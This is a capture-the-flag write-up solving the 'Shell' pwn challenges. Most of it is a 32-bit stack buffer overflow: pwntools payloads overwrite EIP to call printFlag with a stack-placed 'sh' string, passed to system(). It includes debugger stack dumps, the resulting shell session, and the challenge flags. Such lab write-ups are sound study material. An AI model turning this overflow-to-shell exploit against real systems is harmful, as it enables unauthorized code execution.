PWN - Shell (Medium & Hard)

Shell Medium

Run a command and get the flag.

ASLR is off on the server.

Shell Hard

Maybe changing the code isnt the right direction.

Note: The binary from shell has not changed

The functions here are exactly the same as in the task <u>PWN - Never Called</u>, but only the printFlag function is different, it now takes the *command* parameter and calls *system*.

```
void __cdecl printFlag(char *command)
{
  printf(command);
  system(command);
}
```

Offset remains the same - 62, the address of the printFlag function is 0×5655628b.

Now let's try the exploit from **Never Called**, but change the payload itself to the next one to get a better understanding of what will happen.

```
payload = flat(
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapa',
    p32(0x5655628b),
)
```

And in EDB let's see what happens in the printFlag function. We set breakpoint at address 0×5655628b. Our payload is written into the stack and output to the terminal. And the same thing happens before calling *system*.

```
ffff:d004 f7elcff4 f
ffff:d008 616c6161 aala
ffff:d000 616d6161 aama
ffff:d010 56556297 .bUV return to 0x56556297 <shell_hard.out!printFlag+12>
ffff:d014 616f6161 aaoa
ffff:d016 61706161 aapa
```

We see that the last to be written from our line is 'aala'. Then we write 'sh' instead and after it and the flaw byte to overwrite the EIP register. And add another 20 characters

and see what happens to the program.

```
payload = flat(
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka',
    b'sh\x00',
    b'aaamaaanaaaoaaapp',
    p32(0x5655628b),
    b'aaaabaaacaaadaaaeaaa',
)
```

So, the program crashed when trying to address 0×61616162 (baaa). We get offset - 4.

So after overwriting the EIP register we need to add 4 bytes and the memory address of the 'sh' line. Our command has the address **0×5655a5da**.

Now let's rewrite the payload and run our exploit.

```
payload = flat(
    b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaaka',
    b'sh\x00',
    b'aaamaaanaaaoaaapp',
    p32(0x5655628b),
    b'B' * 4,
    p32(0x5655a5da)
)
```

Run the exploit command and gain control over the task container.

```
EBUG] Sent 0×3 bytes:
b'ls\n'
[DEBUG] Received 0×4 bytes:
    b'ls\r\n'
   BUG] Received 0×b9 bytes:
   b'Dockerfile bin etc\t lib libx32 mnt\t root srv usr\r\n'
    b'Makefile boot flag.txt lib32 main.c opt\t run sys var\r\n'
    b'a.out\t dev home\t lib64 media proc sbin tmp\r\n'
    b'# '
# $ cat flag.txt
 DEBUG] Sent 0×d bytes:
b'cat flag.txt\n'
   BUG] Received 0×e bytes:
b'cat flag.txt\r\n'
[DEBUG] Received 0×b1 bytes:
    b'Hi\r\n'
    b'Wow this was hidden bucket{41w4y5_check_h1dd3n_f2f31ec5} You expected a flag here? #\r'
                                                                                                \r\n'
    b'You expected a flag here?
    b'# '
```

I never understood the difference between the tasks, I was just lucky that the exploit fit both tasks! Judging by the description of the Hard task, it was possible to solve the Medium task by changing the code.

Full exploit

Flag Medium: bucket{5h331_4cc355_d8ebd45cc}

Flag Hard: bucket{41w4y5_check_h1dd3n_f2f31ec5}